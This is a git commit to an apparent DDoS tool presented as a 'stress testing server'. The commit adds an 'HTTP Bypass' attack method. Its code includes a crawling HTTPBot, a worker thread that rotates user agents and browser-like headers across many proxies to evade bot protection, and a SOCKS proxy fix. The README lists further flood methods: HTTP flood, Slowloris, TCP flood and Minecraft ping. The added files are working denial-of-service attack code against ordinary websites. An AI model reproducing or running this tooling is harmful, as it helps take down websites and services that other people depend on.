feature: 🚀 added bypass method + fix socks proxy http bug

This commit is contained in:
Sammwy 2025-01-26 23:18:39 -03:00
parent 60aab0bf2b
commit 10bcb2bafd
No known key found for this signature in database
GPG key ID: E6B924CEF399DE44
10 changed files with 342 additions and 10 deletions

View file

@ -15,6 +15,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
- 📡 **Attack Methods:**:
- `HTTP Flood` - Send random HTTP requests
- `HTTP Bypass` - Send HTTP requests that mimics real requests (Redirects, cookies, headers, resources...)
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
- `Minecraft Ping` - Send Minecraft ping/motd requests
- `TCP Flood` - Send random TCP packets

View file

@ -14,6 +14,7 @@ import { filterProxies } from "./proxyUtils";
// Define the workers based on attack type
const attackWorkers: { [key in AttackMethod]: string } = {
http_flood: "./workers/httpFloodAttack.js",
http_bypass: "./workers/httpBypassAttack.js",
http_slowloris: "./workers/httpSlowlorisAttack.js",
tcp_flood: "./workers/tcpFloodAttack.js",
minecraft_ping: "./workers/minecraftPingAttack.js",

View file

@ -10,6 +10,7 @@ export interface Proxy {
export type AttackMethod =
| "http_flood"
| "http_bypass"
| "http_slowloris"
| "tcp_flood"
| "minecraft_ping";

View file

@ -14,6 +14,7 @@ const COMMON_PORTS: { [port: number]: ProxyProtocol } = {
const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
http_flood: ["http", "https", "socks4", "socks5"],
http_bypass: ["http", "https", "socks4", "socks5"],
http_slowloris: ["socks4", "socks5"],
tcp_flood: ["socks4", "socks5"],
minecraft_ping: ["socks4", "socks5"],

View file

@ -19,13 +19,14 @@ export function createAgent(proxy) {
// HTTP Client
export function createMimicHttpClient(proxy, userAgent) {
return axios.create({
return createHttpClient({
headers: { "User-Agent": userAgent },
proxy,
timeout: 5000,
validateStatus: (status) => {
return status < 500;
},
maxRedirects: 3,
});
}
@ -39,15 +40,11 @@ export function createHttpClient(
validateStatus: (status) => {
return status < 500;
},
proxy: {
protocol: "http",
host: "127.0.0.1",
port: 1080,
},
maxRedirects: 0,
proxy: {},
}
) {
const config = { ...clientConfig };
const client = axios.create(config);
const proxy = config.proxy;
if (proxy.protocol == "http" || proxy.protocol == "https") {
@ -57,13 +54,17 @@ export function createHttpClient(
auth: proxy.username ? { username: proxy.username } : null,
};
} else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") {
config.httpAgent = createAgent(proxy);
const agent = createAgent(proxy);
config.proxy = false;
config.httpAgent = agent;
config.httpsAgent = agent;
} else {
throw new Error(
"Unsupported proxy protocol for HTTP client: " + proxy.protocol
);
}
const client = axios.create(config);
return client;
}

212
server/utils/httpBot.js Normal file
View file

@ -0,0 +1,212 @@
import { load as cheerioLoad } from "cheerio"; // For parsing HTML
import { createHttpClient } from "./clientUtils.js";
import { randomInteger } from "./randomUtils.js";
export default class HTTPBot {
constructor({
proxy = null,
userAgent = "Mozilla/5.0",
headers = {},
followRedirects = true,
responseCallback = null,
} = {}) {
this.visitedUrls = new Set(); // To avoid revisiting the same URL multiple times
this.running = false;
// Default headers
this.defaultHeaders = {
"User-Agent": userAgent,
Accept:
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
Connection: "keep-alive",
...headers, // Override default headers if custom headers are passed
};
// Create Axios instance with optional proxy and cookie handling
this.axiosInstance = createHttpClient({
headers: this.defaultHeaders,
proxy,
timeout: 10000,
maxRedirects: followRedirects ? 5 : 0,
validateStatus: (status) => {
return status < 500;
},
});
this.cookies = {}; // Store cookies from responses
this.responseCallback = responseCallback;
}
// Main function that starts the cycle
startCycle(url) {
this.running = true;
this.runCycle(url);
}
// Perform the cycle recursively with setTimeout to avoid blocking
async runCycle(url) {
if (!this.running) return; // Exit if the bot is not running
const runNextCycle = async () => {
// Wait for a random time between 2 to 10 seconds before starting the next cycle
const randomWait = randomInteger(2000, 10000);
await this.sleep(randomWait);
// Start the next cycle
this.runCycle(url);
};
try {
// Perform a GET request to the main URL
const mainResponse = await this.getRequest(url, true);
if (!mainResponse) {
runNextCycle();
return;
}
const $ = cheerioLoad(mainResponse.data);
// Get all assets (CSS, JS, IMG)
const assets = this.getAssets($, url);
// Download all assets
for (let asset of assets) {
await this.getRequest(asset);
}
// Get all <a> links and make GET requests to each one with a delay
const links = this.getLinks($, url);
const linkPromises = links.map((link) => this.getRequest(link));
// Wait for all links to be processed
await Promise.all(linkPromises);
// Run the next cycle
runNextCycle();
} catch (err) {
if (this.responseCallback) {
this.responseCallback(err);
}
}
}
// Makes a GET request with Axios and handles errors
async getRequest(url, bypassAlreadyVisited = false) {
if (!bypassAlreadyVisited) {
if (this.visitedUrls.has(url)) {
// console.log(`Skipping already visited URL: ${url}`);
return;
}
this.visitedUrls.add(url);
}
try {
// console.log(`Requesting: ${url}`);
const response = await this.axiosInstance.get(url);
if (this.responseCallback) {
this.responseCallback();
}
// Handle cookies from response headers
this.handleCookies(response.headers["set-cookie"]);
// Wait between 2 to 5 seconds after each request
await this.sleep(randomInteger(100, 1000));
return response;
} catch (error) {
if (this.responseCallback) {
this.responseCallback(error);
}
}
}
// Handle cookies by storing them and attaching them to future requests
handleCookies(setCookieHeader) {
if (setCookieHeader) {
setCookieHeader.forEach((cookie) => {
const cookieParts = cookie.split(";")[0]; // Get the cookie before the first ';'
const [cookieName, cookieValue] = cookieParts.split("=");
this.cookies[cookieName] = cookieValue;
});
// Add the cookies to the headers for the next request
this.axiosInstance.defaults.headers["Cookie"] = Object.entries(
this.cookies
)
.map(([key, value]) => `${key}=${value}`)
.join("; ");
}
}
// Extracts all assets (CSS, JS, IMG) from the HTML
getAssets($, target) {
let assets = [];
$('link[rel="stylesheet"], script[src], img[src]').each((i, el) => {
const src = $(el).attr("href") || $(el).attr("src");
if (src) assets.push(src);
});
// Normalize assets by target
assets = assets.map((asset) => {
if (asset.startsWith("../")) {
asset = asset.slice(3);
}
if (asset.startsWith("./")) {
asset = asset.slice(2);
}
if (asset.startsWith("/")) {
asset = asset.slice(1);
}
if (asset.includes("://")) return asset;
return `${target}/${asset}`;
});
return assets;
}
// Extracts all <a> links to make GET requests to each one
getLinks($, target) {
let links = [];
$("a[href]").each((i, el) => {
const href = $(el).attr("href");
if (href) links.push(href);
});
// Normalize links by target
links = links.map((link) => {
if (link.startsWith("../")) {
link = link.slice(3);
}
if (link.startsWith("./")) {
link = link.slice(2);
}
if (link.startsWith("/")) {
link = link.slice(1);
}
if (link.includes("://")) return link;
return `${target}/${link}`;
});
return links;
}
// Function to wait for a random amount of time
sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
// Stop the cycle
stopCycle() {
this.running = false;
}
}

View file

@ -1,5 +1,5 @@
// Adapted from: https://github.com/Cryptkeeper/mcping-js/
import { createTcpClient } from "./clientUtils";
import { createTcpClient } from "./clientUtils.js";
class MinecraftProtocol {
static writeVarInt(val) {

View file

@ -16,3 +16,7 @@ export function randomString(length) {
export function randomInteger(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
export function randomItem(array) {
return array[Math.floor(Math.random() * array.length)];
}

View file

@ -0,0 +1,92 @@
import { parentPort, workerData } from "worker_threads";
import HTTPBot from "../utils/httpBot.js";
import { randomItem } from "../utils/randomUtils.js";
const HTTP_ACCEPT_HEADERS = [
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
];
const HTTP_LANGUAGE_HEADERS = [
"en-US,en;q=0.5",
"es-ES,en;q=0.5",
"fr-FR,en;q=0.5",
"de-DE,en;q=0.5",
"it-IT,en;q=0.5",
"pt-BR,en;q=0.5",
];
const HTTP_ENCODING_HEADERS = [
"gzip, deflate, br",
"gzip, deflate",
"gzip",
"deflate, br",
"deflate",
"br",
];
const startAttack = () => {
const { target, proxies, userAgents, duration } = workerData;
const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
let totalPackets = 0;
const pool = new Set();
const createBot = (proxy) => {
const bot = new HTTPBot({
proxy,
userAgent: randomItem(userAgents),
followRedirects: true,
headers: {
Accept: randomItem(HTTP_ACCEPT_HEADERS),
"Accept-Language": randomItem(HTTP_LANGUAGE_HEADERS),
"Accept-Encoding": randomItem(HTTP_ENCODING_HEADERS),
Connection: "keep-alive",
"Upgrade-Insecure-Requests": "1",
},
responseCallback: (error) => {
if (error) {
parentPort.postMessage({
log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
totalPackets,
});
} else {
totalPackets++;
parentPort.postMessage({
log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
totalPackets,
});
}
},
});
pool.add(bot);
bot.startCycle(fixedTarget);
};
const createPool = () => {
proxies.forEach((proxy) => createBot(proxy));
};
const clearPool = () => {
pool.forEach((bot) => bot.stopCycle());
pool.clear();
};
setTimeout(() => {
clearPool();
parentPort.postMessage({ log: "Attack finished", totalPackets });
process.exit(0);
}, duration * 1000);
createPool();
};
if (workerData) {
startAttack();
}

View file

@ -2,7 +2,25 @@ import { Bot, ScrollText, Wand2, Wifi, Zap } from "lucide-react";
import { useEffect, useRef, useState } from "react";
import { io } from "socket.io-client";
const socket = io("http://localhost:3000");
function isHostLocal(host: string) {
return (
host === "localhost" ||
host === "127.0.0.1" ||
host.startsWith("::1") ||
host.startsWith("192.168") ||
host.startsWith("10.") ||
host.startsWith("172.")
);
}
function getSocketURL() {
const host = window.location.host.split(":")[0];
const isLocal = isHostLocal(host);
const socketURL = isLocal ? `http://${host}:3000` : "/";
return socketURL;
}
const socket = io(getSocketURL());
function ConfigureProxiesAndAgentsView() {
const [loadingConfiguration, setLoadingConfiguration] = useState(false);
@ -369,6 +387,7 @@ function App() {
disabled={isAttacking}
>
<option value="http_flood">HTTP/Flood</option>
<option value="http_bypass">HTTP/Bypass</option>
<option value="http_slowloris">HTTP/Slowloris</option>
<option value="tcp_flood">TCP/Flood</option>
<option value="minecraft_ping">Minecraft/Ping</option>